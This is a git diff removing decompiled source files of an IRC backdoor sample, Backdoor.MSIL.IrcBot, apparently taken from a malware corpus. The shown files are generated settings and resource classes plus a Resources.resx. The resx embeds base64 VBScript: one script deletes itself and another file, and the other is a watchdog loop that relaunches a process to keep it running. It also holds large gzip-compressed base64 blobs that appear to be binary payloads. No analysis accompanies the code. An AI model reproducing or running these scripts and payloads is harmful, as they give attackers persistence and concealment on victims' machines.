-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.Configuration;
-using System.Runtime.CompilerServices;
-
-namespace n.My
-{
- [CompilerGenerated]
- [EditorBrowsable(EditorBrowsableState.Advanced)]
- [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
- internal sealed class MySettings : ApplicationSettingsBase
- {
- private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
-
- public static MySettings Default
- {
- get
- {
- MySettings defaultInstance = MySettings.defaultInstance;
- return defaultInstance;
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MySettingsProperty.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MySettingsProperty.cs
deleted file mode 100644
index cd342fb2..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MySettingsProperty.cs
+++ /dev/null
@@ -1,31 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.My.MySettingsProperty
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using System.ComponentModel.Design;
-using System.Diagnostics;
-using System.Runtime.CompilerServices;
-
-namespace n.My
-{
- [DebuggerNonUserCode]
- [HideModuleName]
- [CompilerGenerated]
- [StandardModule]
- internal sealed class MySettingsProperty
- {
- [HelpKeyword("My.Settings")]
- internal static MySettings Settings
- {
- get
- {
- MySettings settings = MySettings.Default;
- return settings;
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/Resources/Resources.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/Resources/Resources.cs
deleted file mode 100644
index e8291c9d..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/Resources/Resources.cs
+++ /dev/null
@@ -1,54 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.My.Resources.Resources
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.Diagnostics;
-using System.Globalization;
-using System.Resources;
-using System.Runtime.CompilerServices;
-
-namespace n.My.Resources
-{
- [DebuggerNonUserCode]
- [CompilerGenerated]
- [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
- [StandardModule]
- [HideModuleName]
- internal sealed class Resources
- {
- private static ResourceManager resourceMan;
- private static CultureInfo resourceCulture;
-
- [EditorBrowsable(EditorBrowsableState.Advanced)]
- internal static ResourceManager ResourceManager
- {
- get
- {
- if (object.ReferenceEquals((object) n.My.Resources.Resources.resourceMan, (object) null))
- n.My.Resources.Resources.resourceMan = new ResourceManager("n.Resources", typeof (n.My.Resources.Resources).Assembly);
- return n.My.Resources.Resources.resourceMan;
- }
- }
-
- [EditorBrowsable(EditorBrowsableState.Advanced)]
- internal static CultureInfo Culture
- {
- get => n.My.Resources.Resources.resourceCulture;
- set => n.My.Resources.Resources.resourceCulture = value;
- }
-
- internal static byte[] P => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (P), n.My.Resources.Resources.resourceCulture));
-
- internal static byte[] plugin => (byte[]) RuntimeHelpers.GetObjectValue(n.My.Resources.Resources.ResourceManager.GetObject(nameof (plugin), n.My.Resources.Resources.resourceCulture));
-
- internal static string Q => n.My.Resources.Resources.ResourceManager.GetString(nameof (Q), n.My.Resources.Resources.resourceCulture);
-
- internal static string W => n.My.Resources.Resources.ResourceManager.GetString(nameof (W), n.My.Resources.Resources.resourceCulture);
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Resources.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Resources.resx
deleted file mode 100644
index 01d19c56..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Resources.resx
+++ /dev/null
@@ -1,572 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- b24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCB0dCA9IGdldG9iamVjdCgid2lubWdtdHM6IikNCkRpbSBGDQpGID0gIk5KIg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KU2V0IGZzbyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGFGaWxlID0gZnNvLkdldEZpbGUoV1NjcmlwdC5TY3JpcHRGdWxsTmFtZSkNCmFGaWxlLkRlbGV0ZQ0Kc2V0IGFmID0gZnNvLkdldEZpbGUoRikNCmFmLmRlbGV0ZQ==
-
-
- b24gZXJyb3IgcmVzdW1lIG5leHQNCmtrDQpzZXQgdHQgPSBnZXRvYmplY3QoIndpbm1nbXRzOiIpDQpEaW0gRg0KRGltIFANCkYgPSAiTkpQIg0KUCA9IE5KRg0Kc2V0IG5qbj0gY3JlYXRlb2JqZWN0KCJ3c2NyaXB0LnNoZWxsIikNCkRvIFVudGlsIDE9Mg0KV1NjcmlwdC5TbGVlcCAyMDAwDQpwcA0KbG9vcA0Kc3ViIHBwDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZm9yIGVhY2ggUHJvY2VzcyBpbiB0dC5JbnN0YW5jZXNPZigiV2luMzJfcHJvY2VzcyIpDQppZiBQcm9jZXNzLnByb2Nlc3NpZCA9IHAgdGhlbg0KZXhpdCBzdWINCmVuZCBpZg0KTmV4dA0KbmpuLnJ1bihmKQ0KV1NjcmlwdC5RdWl0DQplbmQgc3ViDQpzdWIga2sNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpTZXQgZnNvID0gQ3JlYXRlT2JqZWN0KCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCIpDQpTZXQgYUZpbGUgPSBmc28uR2V0RmlsZShXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lKQ0KYUZpbGUuRGVsZXRlDQplbmQgc3Vi
-
-
-
-
- H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVd
- ZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/Ir74qT/p1/i1f41f
- 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
- vDZ/lvf7P8ft/3X7ifn39zC9UJu7v7b55Nf6NbJfuwv/T/u1j38NjPmM//0x/vc3p3//axrx81/jlxNl
- nv8a/zv9+9v/Ov8Zjd588mv8mvjkt/01ftGv8eDX+fV+zetfo/51Evr3F/86v+mv+dv/Gn/4r/Nb0b9/
- Gn37B/8af92v8zsQh/x9JPt/8K/xL9C/f/Sv8X/+Orv07o/9ug9+zT+aMqaPf80/+de48+v+nvT7l7/u
- 5/TvT/26v+2v8Rf/Gue/7vcJQv3rTgDt1y1+zb/41/hzft3Fr/k3/xp/76/bUC//1K/7M/zvP/pr/MSv
- 8S//un/wr/l3/xr/w6/7R9K3v/zX/ZN/zX/61/jdfr1/jjH5lwny7q/3b9Anh7/ev0e/f/vX+0/o3+/R
- J9e/Rv7r/df0e0W//92/xi/99f6HX/Nf/jX++F/vf6VP/gz65N9WCvwtv97v/mv95r/G30X//t2/xj/w
- 6/2jv8bf/Wv8Y7/enV/rP/41/qdf7y79+3/+evu/FvC8+2vtUvvfi/79jX79353+/adoRPj89/61/muG
- 8z/Tvxe/1q/5a6LNj/2a+OQ3oP++Rf//jX6Nu/Tvb/Zr7NO/v9Wv8ZD+/e1I4/4GxOsn9G/6a3yb/v3d
- yJ7+Br/Gwa/xF9K/j3+Nv+zXGP8a/+mvufi1xr/Gf/trXv5a01/jX/01H/4af9Gv0dC//yhJ6MNf4w/4
- teXf35D+/W1/jT+QZOgPJAn4A3+N/5FY8Pmv+ef9mr/613z4a738tb7/a/1hv8a/82ue/Jq//q/xFc3+
- ya/5Y7/GXcqEPfs1f+tf4+/4NX8t+vu3/TX+818Tn//2v8Zv82vh5+/4a5zwz9/513jJP3+XX+OP+bV+
- LWr/47/GP8A/f/df49/mnx//Gv/9r4X3P/k1fq1fGz+3f43f5tfG5/d+jd+NPv91/qBfo/N8wvLknl+T
- 7ZNYJvMkNC48frvk13jKCi58l01sp92//uv02/0GMHTE+782Se6vTZqOv338RTVbl/nRr7FoplVdFpNf
- 44tiWldNdd6Of7Jo1ln5JGuK6a/xk7/Gy19jdf1rvDo9eUNi//q6afPFr/Hl5KfzaftrjKfTtqrpB/59
- Uv0ai2rd5L9/fpkv219jdvWszMjGz979GrPrX2P6ZN221ZL+vDp919bZ2fK8+jWocX1v79f44suvXp+e
- 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
